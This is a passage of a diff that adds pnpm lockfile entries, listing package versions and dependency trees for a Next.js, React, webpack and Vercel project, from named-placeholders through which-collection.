+ iconv-lite: 0.7.1
+ long: 5.3.2
+ lru.min: 1.1.3
+ named-placeholders: 1.1.6
+ seq-queue: 0.0.5
+ sqlstring: 2.3.3
+
+ named-placeholders@1.1.6:
+ dependencies:
+ lru.min: 1.1.3
+
+ nanoid@3.3.11: {}
+
+ napi-postinstall@0.3.4: {}
+
+ native-duplexpair@1.0.0: {}
+
+ natural-compare@1.4.0: {}
+
+ neo-async@2.6.2: {}
+
+ next@16.1.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4):
+ dependencies:
+ '@next/env': 16.1.5
+ '@swc/helpers': 0.5.15
+ baseline-browser-mapping: 2.9.11
+ caniuse-lite: 1.0.30001762
+ postcss: 8.4.31
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ styled-jsx: 5.1.6(react@19.2.4)
+ optionalDependencies:
+ '@next/swc-darwin-arm64': 16.1.5
+ '@next/swc-darwin-x64': 16.1.5
+ '@next/swc-linux-arm64-gnu': 16.1.5
+ '@next/swc-linux-arm64-musl': 16.1.5
+ '@next/swc-linux-x64-gnu': 16.1.5
+ '@next/swc-linux-x64-musl': 16.1.5
+ '@next/swc-win32-arm64-msvc': 16.1.5
+ '@next/swc-win32-x64-msvc': 16.1.5
+ sharp: 0.34.5
+ transitivePeerDependencies:
+ - '@babel/core'
+ - babel-plugin-macros
+
+ node-addon-api@8.5.0: {}
+
+ node-fetch@2.6.7:
+ dependencies:
+ whatwg-url: 5.0.0
+
+ node-fetch@2.6.9:
+ dependencies:
+ whatwg-url: 5.0.0
+
+ node-fetch@2.7.0:
+ dependencies:
+ whatwg-url: 5.0.0
+
+ node-gyp-build@4.8.4: {}
+
+ node-releases@2.0.27: {}
+
+ nopt@8.1.0:
+ dependencies:
+ abbrev: 3.0.1
+
+ npm-run-path@4.0.1:
+ dependencies:
+ path-key: 3.1.1
+
+ object-assign@4.1.1: {}
+
+ object-inspect@1.13.4: {}
+
+ object-keys@1.1.1: {}
+
+ object.assign@4.1.7:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-object-atoms: 1.1.1
+ has-symbols: 1.1.0
+ object-keys: 1.1.1
+
+ object.entries@1.1.9:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-object-atoms: 1.1.1
+
+ object.fromentries@2.0.8:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-object-atoms: 1.1.1
+
+ object.groupby@1.0.3:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+
+ object.values@1.2.1:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-object-atoms: 1.1.1
+
+ once@1.3.3:
+ dependencies:
+ wrappy: 1.0.2
+
+ once@1.4.0:
+ dependencies:
+ wrappy: 1.0.2
+
+ onetime@5.1.2:
+ dependencies:
+ mimic-fn: 2.1.0
+
+ open@10.2.0:
+ dependencies:
+ default-browser: 5.4.0
+ define-lazy-prop: 3.0.0
+ is-inside-container: 1.0.0
+ wsl-utils: 0.1.0
+
+ optionator@0.9.4:
+ dependencies:
+ deep-is: 0.1.4
+ fast-levenshtein: 2.0.6
+ levn: 0.4.1
+ prelude-ls: 1.2.1
+ type-check: 0.4.0
+ word-wrap: 1.2.5
+
+ os-paths@4.4.0: {}
+
+ own-keys@1.0.1:
+ dependencies:
+ get-intrinsic: 1.3.0
+ object-keys: 1.1.1
+ safe-push-apply: 1.0.0
+
+ oxc-transform@0.111.0:
+ optionalDependencies:
+ '@oxc-transform/binding-android-arm-eabi': 0.111.0
+ '@oxc-transform/binding-android-arm64': 0.111.0
+ '@oxc-transform/binding-darwin-arm64': 0.111.0
+ '@oxc-transform/binding-darwin-x64': 0.111.0
+ '@oxc-transform/binding-freebsd-x64': 0.111.0
+ '@oxc-transform/binding-linux-arm-gnueabihf': 0.111.0
+ '@oxc-transform/binding-linux-arm-musleabihf': 0.111.0
+ '@oxc-transform/binding-linux-arm64-gnu': 0.111.0
+ '@oxc-transform/binding-linux-arm64-musl': 0.111.0
+ '@oxc-transform/binding-linux-ppc64-gnu': 0.111.0
+ '@oxc-transform/binding-linux-riscv64-gnu': 0.111.0
+ '@oxc-transform/binding-linux-riscv64-musl': 0.111.0
+ '@oxc-transform/binding-linux-s390x-gnu': 0.111.0
+ '@oxc-transform/binding-linux-x64-gnu': 0.111.0
+ '@oxc-transform/binding-linux-x64-musl': 0.111.0
+ '@oxc-transform/binding-openharmony-arm64': 0.111.0
+ '@oxc-transform/binding-wasm32-wasi': 0.111.0
+ '@oxc-transform/binding-win32-arm64-msvc': 0.111.0
+ '@oxc-transform/binding-win32-ia32-msvc': 0.111.0
+ '@oxc-transform/binding-win32-x64-msvc': 0.111.0
+
+ p-finally@2.0.1: {}
+
+ p-limit@3.1.0:
+ dependencies:
+ yocto-queue: 0.1.0
+
+ p-locate@5.0.0:
+ dependencies:
+ p-limit: 3.1.0
+
+ parent-module@1.0.1:
+ dependencies:
+ callsites: 3.1.0
+
+ parse-ms@2.1.0: {}
+
+ path-browserify@1.0.1: {}
+
+ path-exists@4.0.0: {}
+
+ path-key@3.1.1: {}
+
+ path-parse@1.0.7: {}
+
+ path-scurry@2.0.1:
+ dependencies:
+ lru-cache: 11.2.4
+ minipass: 7.1.2
+
+ path-to-regexp@6.1.0: {}
+
+ path-to-regexp@6.3.0: {}
+
+ path-to-regexp@8.2.0: {}
+
+ path-to-regexp@8.3.0: {}
+
+ pend@1.2.0: {}
+
+ picocolors@1.0.0: {}
+
+ picocolors@1.1.1: {}
+
+ picomatch@2.3.1: {}
+
+ picomatch@4.0.3: {}
+
+ possible-typed-array-names@1.1.0: {}
+
+ postcss-selector-parser@6.0.10:
+ dependencies:
+ cssesc: 3.0.0
+ util-deprecate: 1.0.2
+
+ postcss@8.4.31:
+ dependencies:
+ nanoid: 3.3.11
+ picocolors: 1.1.1
+ source-map-js: 1.2.1
+
+ postcss@8.5.6:
+ dependencies:
+ nanoid: 3.3.11
+ picocolors: 1.1.1
+ source-map-js: 1.2.1
+
+ prelude-ls@1.2.1: {}
+
+ prettier-plugin-tailwindcss@0.7.2(prettier@3.7.4):
+ dependencies:
+ prettier: 3.7.4
+
+ prettier@3.7.4: {}
+
+ pretty-ms@7.0.1:
+ dependencies:
+ parse-ms: 2.1.0
+
+ process@0.11.10: {}
+
+ promisepipe@3.0.0: {}
+
+ prop-types@15.8.1:
+ dependencies:
+ loose-envify: 1.4.0
+ object-assign: 4.1.1
+ react-is: 16.13.1
+
+ pump@3.0.3:
+ dependencies:
+ end-of-stream: 1.4.5
+ once: 1.4.0
+
+ punycode@2.3.1: {}
+
+ queue-microtask@1.2.3: {}
+
+ randombytes@2.1.0:
+ dependencies:
+ safe-buffer: 5.2.1
+
+ raw-body@2.4.1:
+ dependencies:
+ bytes: 3.1.0
+ http-errors: 1.7.3
+ iconv-lite: 0.4.24
+ unpipe: 1.0.0
+
+ raw-loader@4.0.2(webpack@5.104.1):
+ dependencies:
+ loader-utils: 2.0.4
+ schema-utils: 3.3.0
+ webpack: 5.104.1
+
+ react-dom@19.2.4(react@19.2.4):
+ dependencies:
+ react: 19.2.4
+ scheduler: 0.27.0
+
+ react-fast-marquee@1.6.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4):
+ dependencies:
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+
+ react-icons@5.5.0(react@19.2.4):
+ dependencies:
+ react: 19.2.4
+
+ react-is@16.13.1: {}
+
+ react-remove-scroll-bar@2.3.8(@types/react@19.2.7)(react@19.2.4):
+ dependencies:
+ react: 19.2.4
+ react-style-singleton: 2.2.3(@types/react@19.2.7)(react@19.2.4)
+ tslib: 2.8.1
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ react-remove-scroll@2.7.2(@types/react@19.2.7)(react@19.2.4):
+ dependencies:
+ react: 19.2.4
+ react-remove-scroll-bar: 2.3.8(@types/react@19.2.7)(react@19.2.4)
+ react-style-singleton: 2.2.3(@types/react@19.2.7)(react@19.2.4)
+ tslib: 2.8.1
+ use-callback-ref: 1.3.3(@types/react@19.2.7)(react@19.2.4)
+ use-sidecar: 1.1.3(@types/react@19.2.7)(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ react-style-singleton@2.2.3(@types/react@19.2.7)(react@19.2.4):
+ dependencies:
+ get-nonce: 1.0.1
+ react: 19.2.4
+ tslib: 2.8.1
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ react@19.2.4: {}
+
+ readable-stream@4.7.0:
+ dependencies:
+ abort-controller: 3.0.0
+ buffer: 6.0.3
+ events: 3.3.0
+ process: 0.11.10
+ string_decoder: 1.3.0
+
+ readdirp@4.1.2: {}
+
+ reflect.getprototypeof@1.0.10:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-errors: 1.3.0
+ es-object-atoms: 1.1.1
+ get-intrinsic: 1.3.0
+ get-proto: 1.0.1
+ which-builtin-type: 1.2.1
+
+ regexp.prototype.flags@1.5.4:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-errors: 1.3.0
+ get-proto: 1.0.1
+ gopd: 1.2.0
+ set-function-name: 2.0.2
+
+ require-from-string@2.0.2: {}
+
+ resolve-from@4.0.0: {}
+
+ resolve-from@5.0.0: {}
+
+ resolve-pkg-maps@1.0.0: {}
+
+ resolve.exports@2.0.3: {}
+
+ resolve@1.22.11:
+ dependencies:
+ is-core-module: 2.16.1
+ path-parse: 1.0.7
+ supports-preserve-symlinks-flag: 1.0.0
+
+ resolve@2.0.0-next.5:
+ dependencies:
+ is-core-module: 2.16.1
+ path-parse: 1.0.7
+ supports-preserve-symlinks-flag: 1.0.0
+
+ retry@0.13.1: {}
+
+ reusify@1.1.0: {}
+
+ rfdc@1.4.1: {}
+
+ rolldown@1.0.0-rc.1:
+ dependencies:
+ '@oxc-project/types': 0.110.0
+ '@rolldown/pluginutils': 1.0.0-rc.1
+ optionalDependencies:
+ '@rolldown/binding-android-arm64': 1.0.0-rc.1
+ '@rolldown/binding-darwin-arm64': 1.0.0-rc.1
+ '@rolldown/binding-darwin-x64': 1.0.0-rc.1
+ '@rolldown/binding-freebsd-x64': 1.0.0-rc.1
+ '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-rc.1
+ '@rolldown/binding-linux-arm64-gnu': 1.0.0-rc.1
+ '@rolldown/binding-linux-arm64-musl': 1.0.0-rc.1
+ '@rolldown/binding-linux-x64-gnu': 1.0.0-rc.1
+ '@rolldown/binding-linux-x64-musl': 1.0.0-rc.1
+ '@rolldown/binding-openharmony-arm64': 1.0.0-rc.1
+ '@rolldown/binding-wasm32-wasi': 1.0.0-rc.1
+ '@rolldown/binding-win32-arm64-msvc': 1.0.0-rc.1
+ '@rolldown/binding-win32-x64-msvc': 1.0.0-rc.1
+
+ run-applescript@7.1.0: {}
+
+ run-parallel@1.2.0:
+ dependencies:
+ queue-microtask: 1.2.3
+
+ safe-array-concat@1.1.3:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ get-intrinsic: 1.3.0
+ has-symbols: 1.1.0
+ isarray: 2.0.5
+
+ safe-buffer@5.2.1: {}
+
+ safe-push-apply@1.0.0:
+ dependencies:
+ es-errors: 1.3.0
+ isarray: 2.0.5
+
+ safe-regex-test@1.1.0:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ is-regex: 1.2.1
+
+ safer-buffer@2.1.2: {}
+
+ scheduler@0.27.0: {}
+
+ schema-utils@3.3.0:
+ dependencies:
+ '@types/json-schema': 7.0.15
+ ajv: 6.12.6
+ ajv-keywords: 3.5.2(ajv@6.12.6)
+
+ schema-utils@4.3.3:
+ dependencies:
+ '@types/json-schema': 7.0.15
+ ajv: 8.17.1
+ ajv-formats: 2.1.1(ajv@8.17.1)
+ ajv-keywords: 5.1.0(ajv@8.17.1)
+
+ semver@6.3.1: {}
+
+ semver@7.5.4:
+ dependencies:
+ lru-cache: 6.0.0
+
+ semver@7.7.3: {}
+
+ seq-queue@0.0.5: {}
+
+ serialize-javascript@6.0.2:
+ dependencies:
+ randombytes: 2.1.0
+
+ set-function-length@1.2.2:
+ dependencies:
+ define-data-property: 1.1.4
+ es-errors: 1.3.0
+ function-bind: 1.1.2
+ get-intrinsic: 1.3.0
+ gopd: 1.2.0
+ has-property-descriptors: 1.0.2
+
+ set-function-name@2.0.2:
+ dependencies:
+ define-data-property: 1.1.4
+ es-errors: 1.3.0
+ functions-have-names: 1.2.3
+ has-property-descriptors: 1.0.2
+
+ set-proto@1.0.0:
+ dependencies:
+ dunder-proto: 1.0.1
+ es-errors: 1.3.0
+ es-object-atoms: 1.1.1
+
+ setprototypeof@1.1.1: {}
+
+ sharp@0.34.5:
+ dependencies:
+ '@img/colour': 1.0.0
+ detect-libc: 2.1.2
+ semver: 7.7.3
+ optionalDependencies:
+ '@img/sharp-darwin-arm64': 0.34.5
+ '@img/sharp-darwin-x64': 0.34.5
+ '@img/sharp-libvips-darwin-arm64': 1.2.4
+ '@img/sharp-libvips-darwin-x64': 1.2.4
+ '@img/sharp-libvips-linux-arm': 1.2.4
+ '@img/sharp-libvips-linux-arm64': 1.2.4
+ '@img/sharp-libvips-linux-ppc64': 1.2.4
+ '@img/sharp-libvips-linux-riscv64': 1.2.4
+ '@img/sharp-libvips-linux-s390x': 1.2.4
+ '@img/sharp-libvips-linux-x64': 1.2.4
+ '@img/sharp-libvips-linuxmusl-arm64': 1.2.4
+ '@img/sharp-libvips-linuxmusl-x64': 1.2.4
+ '@img/sharp-linux-arm': 0.34.5
+ '@img/sharp-linux-arm64': 0.34.5
+ '@img/sharp-linux-ppc64': 0.34.5
+ '@img/sharp-linux-riscv64': 0.34.5
+ '@img/sharp-linux-s390x': 0.34.5
+ '@img/sharp-linux-x64': 0.34.5
+ '@img/sharp-linuxmusl-arm64': 0.34.5
+ '@img/sharp-linuxmusl-x64': 0.34.5
+ '@img/sharp-wasm32': 0.34.5
+ '@img/sharp-win32-arm64': 0.34.5
+ '@img/sharp-win32-ia32': 0.34.5
+ '@img/sharp-win32-x64': 0.34.5
+ optional: true
+
+ shebang-command@2.0.0:
+ dependencies:
+ shebang-regex: 3.0.0
+
+ shebang-regex@3.0.0: {}
+
+ side-channel-list@1.0.0:
+ dependencies:
+ es-errors: 1.3.0
+ object-inspect: 1.13.4
+
+ side-channel-map@1.0.1:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ get-intrinsic: 1.3.0
+ object-inspect: 1.13.4
+
+ side-channel-weakmap@1.0.2:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ get-intrinsic: 1.3.0
+ object-inspect: 1.13.4
+ side-channel-map: 1.0.1
+
+ side-channel@1.1.0:
+ dependencies:
+ es-errors: 1.3.0
+ object-inspect: 1.13.4
+ side-channel-list: 1.0.0
+ side-channel-map: 1.0.1
+ side-channel-weakmap: 1.0.2
+
+ signal-exit@3.0.7: {}
+
+ signal-exit@4.0.2: {}
+
+ source-map-js@1.2.1: {}
+
+ source-map-support@0.5.21:
+ dependencies:
+ buffer-from: 1.1.2
+ source-map: 0.6.1
+
+ source-map@0.6.1: {}
+
+ sprintf-js@1.1.3: {}
+
+ sqlstring@2.3.3: {}
+
+ srvx@0.8.9:
+ dependencies:
+ cookie-es: 2.0.0
+
+ stable-hash@0.0.5: {}
+
+ stat-mode@0.3.0: {}
+
+ statuses@1.5.0: {}
+
+ stop-iteration-iterator@1.1.0:
+ dependencies:
+ es-errors: 1.3.0
+ internal-slot: 1.1.0
+
+ stream-to-array@2.3.0:
+ dependencies:
+ any-promise: 1.3.0
+
+ stream-to-promise@2.2.0:
+ dependencies:
+ any-promise: 1.3.0
+ end-of-stream: 1.1.0
+ stream-to-array: 2.3.0
+
+ string.prototype.includes@2.0.1:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+
+ string.prototype.matchall@4.0.12:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-errors: 1.3.0
+ es-object-atoms: 1.1.1
+ get-intrinsic: 1.3.0
+ gopd: 1.2.0
+ has-symbols: 1.1.0
+ internal-slot: 1.1.0
+ regexp.prototype.flags: 1.5.4
+ set-function-name: 2.0.2
+ side-channel: 1.1.0
+
+ string.prototype.repeat@1.0.0:
+ dependencies:
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+
+ string.prototype.trim@1.2.10:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-data-property: 1.1.4
+ define-properties: 1.2.1
+ es-abstract: 1.24.1
+ es-object-atoms: 1.1.1
+ has-property-descriptors: 1.0.2
+
+ string.prototype.trimend@1.0.9:
+ dependencies:
+ call-bind: 1.0.8
+ call-bound: 1.0.4
+ define-properties: 1.2.1
+ es-object-atoms: 1.1.1
+
+ string.prototype.trimstart@1.0.8:
+ dependencies:
+ call-bind: 1.0.8
+ define-properties: 1.2.1
+ es-object-atoms: 1.1.1
+
+ string_decoder@1.3.0:
+ dependencies:
+ safe-buffer: 5.2.1
+
+ strip-bom@3.0.0: {}
+
+ strip-final-newline@2.0.0: {}
+
+ strip-json-comments@3.1.1: {}
+
+ styled-jsx@5.1.6(react@19.2.4):
+ dependencies:
+ client-only: 0.0.1
+ react: 19.2.4
+
+ supports-color@7.2.0:
+ dependencies:
+ has-flag: 4.0.0
+
+ supports-color@8.1.1:
+ dependencies:
+ has-flag: 4.0.0
+
+ supports-preserve-symlinks-flag@1.0.0: {}
+
+ tailwindcss@4.1.18: {}
+
+ tapable@2.3.0: {}
+
+ tar@6.2.1:
+ dependencies:
+ chownr: 2.0.0
+ fs-minipass: 2.1.0
+ minipass: 5.0.0
+ minizlib: 2.1.2
+ mkdirp: 1.0.4
+ yallist: 4.0.0
+
+ tar@7.5.2:
+ dependencies:
+ '@isaacs/fs-minipass': 4.0.1
+ chownr: 3.0.0
+ minipass: 7.1.2
+ minizlib: 3.1.0
+ yallist: 5.0.0
+
+ tarn@3.0.2: {}
+
+ tedious@18.6.2:
+ dependencies:
+ '@azure/core-auth': 1.10.1
+ '@azure/identity': 4.13.0
+ '@azure/keyvault-keys': 4.10.0
+ '@js-joda/core': 5.6.5
+ '@types/node': 25.2.0
+ bl: 6.1.6
+ iconv-lite: 0.6.3
+ js-md4: 0.3.2
+ native-duplexpair: 1.0.0
+ sprintf-js: 1.1.3
+ transitivePeerDependencies:
+ - supports-color
+
+ tedious@19.2.0:
+ dependencies:
+ '@azure/core-auth': 1.10.1
+ '@azure/identity': 4.13.0
+ '@azure/keyvault-keys': 4.10.0
+ '@js-joda/core': 5.6.5
+ '@types/node': 25.2.0
+ bl: 6.1.6
+ iconv-lite: 0.7.1
+ js-md4: 0.3.2
+ native-duplexpair: 1.0.0
+ sprintf-js: 1.1.3
+ transitivePeerDependencies:
+ - supports-color
+
+ terser-webpack-plugin@5.3.16(webpack@5.104.1):
+ dependencies:
+ '@jridgewell/trace-mapping': 0.3.31
+ jest-worker: 27.5.1
+ schema-utils: 4.3.3
+ serialize-javascript: 6.0.2
+ terser: 5.46.0
+ webpack: 5.104.1
+
+ terser@5.46.0:
+ dependencies:
+ '@jridgewell/source-map': 0.3.11
+ acorn: 8.15.0
+ commander: 2.20.3
+ source-map-support: 0.5.21
+
+ throttleit@2.1.0: {}
+
+ time-span@4.0.0:
+ dependencies:
+ convert-hrtime: 3.0.0
+
+ tinyexec@0.3.2: {}
+
+ tinyglobby@0.2.15:
+ dependencies:
+ fdir: 6.5.0(picomatch@4.0.3)
+ picomatch: 4.0.3
+
+ to-regex-range@5.0.1:
+ dependencies:
+ is-number: 7.0.0
+
+ toidentifier@1.0.0: {}
+
+ tr46@0.0.3: {}
+
+ tree-kill@1.2.2: {}
+
+ ts-api-utils@2.4.0(typescript@5.9.3):
+ dependencies:
+ typescript: 5.9.3
+
+ ts-mixer@6.0.4: {}
+
+ ts-morph@12.0.0:
+ dependencies:
+ '@ts-morph/common': 0.11.1
+ code-block-writer: 10.1.1
+
+ ts-node@10.9.1(@types/node@20.11.0)(typescript@4.9.5):
+ dependencies:
+ '@cspotcode/source-map-support': 0.8.1
+ '@tsconfig/node10': 1.0.12
+ '@tsconfig/node12': 1.0.11
+ '@tsconfig/node14': 1.0.3
+ '@tsconfig/node16': 1.0.4
+ '@types/node': 20.11.0
+ acorn: 8.15.0
+ acorn-walk: 8.3.4
+ arg: 4.1.3
+ create-require: 1.1.1
+ diff: 4.0.2
+ make-error: 1.3.6
+ typescript: 4.9.5
+ v8-compile-cache-lib: 3.0.1
+ yn: 3.1.1
+
+ ts-toolbelt@6.15.5: {}
+
+ tsconfig-paths@3.15.0:
+ dependencies:
+ '@types/json5': 0.0.29
+ json5: 1.0.2
+ minimist: 1.2.8
+ strip-bom: 3.0.0
+
+ tslib@2.8.1: {}
+
+ tsx@4.21.0:
+ dependencies:
+ esbuild: 0.27.2
+ get-tsconfig: 4.13.0
+ optionalDependencies:
+ fsevents: 2.3.3
+
+ turbo-darwin-64@2.8.3:
+ optional: true
+
+ turbo-darwin-arm64@2.8.3:
+ optional: true
+
+ turbo-linux-64@2.8.3:
+ optional: true
+
+ turbo-linux-arm64@2.8.3:
+ optional: true
+
+ turbo-windows-64@2.8.3:
+ optional: true
+
+ turbo-windows-arm64@2.8.3:
+ optional: true
+
+ turbo@2.8.3:
+ optionalDependencies:
+ turbo-darwin-64: 2.8.3
+ turbo-darwin-arm64: 2.8.3
+ turbo-linux-64: 2.8.3
+ turbo-linux-arm64: 2.8.3
+ turbo-windows-64: 2.8.3
+ turbo-windows-arm64: 2.8.3
+
+ type-check@0.4.0:
+ dependencies:
+ prelude-ls: 1.2.1
+
+ typed-array-buffer@1.0.3:
+ dependencies:
+ call-bound: 1.0.4
+ es-errors: 1.3.0
+ is-typed-array: 1.1.15
+
+ typed-array-byte-length@1.0.3:
+ dependencies:
+ call-bind: 1.0.8
+ for-each: 0.3.5
+ gopd: 1.2.0
+ has-proto: 1.2.0
+ is-typed-array: 1.1.15
+
+ typed-array-byte-offset@1.0.4:
+ dependencies:
+ available-typed-arrays: 1.0.7
+ call-bind: 1.0.8
+ for-each: 0.3.5
+ gopd: 1.2.0
+ has-proto: 1.2.0
+ is-typed-array: 1.1.15
+ reflect.getprototypeof: 1.0.10
+
+ typed-array-length@1.0.7:
+ dependencies:
+ call-bind: 1.0.8
+ for-each: 0.3.5
+ gopd: 1.2.0
+ is-typed-array: 1.1.15
+ possible-typed-array-names: 1.1.0
+ reflect.getprototypeof: 1.0.10
+
+ typescript-eslint@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3):
+ dependencies:
+ '@typescript-eslint/eslint-plugin': 8.52.0(@typescript-eslint/parser@8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ '@typescript-eslint/parser': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ '@typescript-eslint/typescript-estree': 8.52.0(typescript@5.9.3)
+ '@typescript-eslint/utils': 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ eslint: 9.39.2(jiti@2.6.1)
+ typescript: 5.9.3
+ transitivePeerDependencies:
+ - supports-color
+
+ typescript@4.9.5: {}
+
+ typescript@5.9.3: {}
+
+ uid-promise@1.0.0: {}
+
+ unbox-primitive@1.1.0:
+ dependencies:
+ call-bound: 1.0.4
+ has-bigints: 1.1.0
+ has-symbols: 1.1.0
+ which-boxed-primitive: 1.1.1
+
+ undici-types@5.26.5: {}
+
+ undici-types@6.21.0: {}
+
+ undici-types@7.16.0: {}
+
+ undici@5.28.4:
+ dependencies:
+ '@fastify/busboy': 2.1.1
+
+ undici@5.29.0:
+ dependencies:
+ '@fastify/busboy': 2.1.1
+
+ undici@6.21.3: {}
+
+ universal-user-agent@7.0.3: {}
+
+ universalify@2.0.1: {}
+
+ unpipe@1.0.0: {}
+
+ unrs-resolver@1.11.1:
+ dependencies:
+ napi-postinstall: 0.3.4
+ optionalDependencies:
+ '@unrs/resolver-binding-android-arm-eabi': 1.11.1
+ '@unrs/resolver-binding-android-arm64': 1.11.1
+ '@unrs/resolver-binding-darwin-arm64': 1.11.1
+ '@unrs/resolver-binding-darwin-x64': 1.11.1
+ '@unrs/resolver-binding-freebsd-x64': 1.11.1
+ '@unrs/resolver-binding-linux-arm-gnueabihf': 1.11.1
+ '@unrs/resolver-binding-linux-arm-musleabihf': 1.11.1
+ '@unrs/resolver-binding-linux-arm64-gnu': 1.11.1
+ '@unrs/resolver-binding-linux-arm64-musl': 1.11.1
+ '@unrs/resolver-binding-linux-ppc64-gnu': 1.11.1
+ '@unrs/resolver-binding-linux-riscv64-gnu': 1.11.1
+ '@unrs/resolver-binding-linux-riscv64-musl': 1.11.1
+ '@unrs/resolver-binding-linux-s390x-gnu': 1.11.1
+ '@unrs/resolver-binding-linux-x64-gnu': 1.11.1
+ '@unrs/resolver-binding-linux-x64-musl': 1.11.1
+ '@unrs/resolver-binding-wasm32-wasi': 1.11.1
+ '@unrs/resolver-binding-win32-arm64-msvc': 1.11.1
+ '@unrs/resolver-binding-win32-ia32-msvc': 1.11.1
+ '@unrs/resolver-binding-win32-x64-msvc': 1.11.1
+
+ update-browserslist-db@1.2.3(browserslist@4.28.1):
+ dependencies:
+ browserslist: 4.28.1
+ escalade: 3.2.0
+ picocolors: 1.1.1
+
+ uri-js@4.4.1:
+ dependencies:
+ punycode: 2.3.1
+
+ use-callback-ref@1.3.3(@types/react@19.2.7)(react@19.2.4):
+ dependencies:
+ react: 19.2.4
+ tslib: 2.8.1
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ use-sidecar@1.1.3(@types/react@19.2.7)(react@19.2.4):
+ dependencies:
+ detect-node-es: 1.1.0
+ react: 19.2.4
+ tslib: 2.8.1
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ use-sync-external-store@1.6.0(react@19.2.4):
+ dependencies:
+ react: 19.2.4
+
+ util-deprecate@1.0.2: {}
+
+ uuid@8.3.2: {}
+
+ v8-compile-cache-lib@3.0.1: {}
+
+ vercel@50.10.0(typescript@5.9.3):
+ dependencies:
+ '@vercel/backends': 0.0.25(typescript@5.9.3)
+ '@vercel/blob': 1.0.2
+ '@vercel/build-utils': 13.2.16
+ '@vercel/detect-agent': 1.1.0
+ '@vercel/elysia': 0.1.27
+ '@vercel/express': 0.1.36(typescript@5.9.3)
+ '@vercel/fastify': 0.1.30
+ '@vercel/fun': 1.2.1
+ '@vercel/go': 3.3.4
+ '@vercel/h3': 0.1.36
+ '@vercel/hono': 0.2.30
+ '@vercel/hydrogen': 1.3.5
+ '@vercel/koa': 0.1.10
+ '@vercel/nestjs': 0.2.31
+ '@vercel/next': 4.15.21
+ '@vercel/node': 5.5.28
+ '@vercel/python': 6.5.0
+ '@vercel/redwood': 2.4.9
+ '@vercel/remix-builder': 5.5.10
+ '@vercel/ruby': 2.2.5
+ '@vercel/rust': 1.0.5
+ '@vercel/static-build': 2.8.28
+ chokidar: 4.0.0
+ esbuild: 0.27.0
+ form-data: 4.0.5
+ jose: 5.9.6
+ transitivePeerDependencies:
+ - '@swc/core'
+ - '@swc/wasm'
+ - encoding
+ - rollup
+ - supports-color
+ - typescript
+
+ watchpack@2.5.1:
+ dependencies:
+ glob-to-regexp: 0.4.1
+ graceful-fs: 4.2.11
+
+ web-vitals@0.2.4: {}
+
+ webidl-conversions@3.0.1: {}
+
+ webpack-sources@3.3.3: {}
+
+ webpack@5.104.1:
+ dependencies:
+ '@types/eslint-scope': 3.7.7
+ '@types/estree': 1.0.8
+ '@types/json-schema': 7.0.15
+ '@webassemblyjs/ast': 1.14.1
+ '@webassemblyjs/wasm-edit': 1.14.1
+ '@webassemblyjs/wasm-parser': 1.14.1
+ acorn: 8.15.0
+ acorn-import-phases: 1.0.4(acorn@8.15.0)
+ browserslist: 4.28.1
+ chrome-trace-event: 1.0.4
+ enhanced-resolve: 5.18.4
+ es-module-lexer: 2.0.0
+ eslint-scope: 5.1.1
+ events: 3.3.0
+ glob-to-regexp: 0.4.1
+ graceful-fs: 4.2.11
+ json-parse-even-better-errors: 2.3.1
+ loader-runner: 4.3.1
+ mime-types: 2.1.35
+ neo-async: 2.6.2
+ schema-utils: 4.3.3
+ tapable: 2.3.0
+ terser-webpack-plugin: 5.3.16(webpack@5.104.1)
+ watchpack: 2.5.1
+ webpack-sources: 3.3.3
+ transitivePeerDependencies:
+ - '@swc/core'
+ - esbuild
+ - uglify-js
+
+ whatwg-url@5.0.0:
+ dependencies:
+ tr46: 0.0.3
+ webidl-conversions: 3.0.1
+
+ which-boxed-primitive@1.1.1:
+ dependencies:
+ is-bigint: 1.1.0
+ is-boolean-object: 1.2.2
+ is-number-object: 1.1.1
+ is-string: 1.1.1
+ is-symbol: 1.1.1
+
+ which-builtin-type@1.2.1:
+ dependencies:
+ call-bound: 1.0.4
+ function.prototype.name: 1.1.8
+ has-tostringtag: 1.0.2
+ is-async-function: 2.1.1
+ is-date-object: 1.1.0
+ is-finalizationregistry: 1.1.1
+ is-generator-function: 1.1.2
+ is-regex: 1.2.1
+ is-weakref: 1.1.1
+ isarray: 2.0.5
+ which-boxed-primitive: 1.1.1
+ which-collection: 1.0.2
+ which-typed-array: 1.1.19
+
+ which-collection@1.0.2:
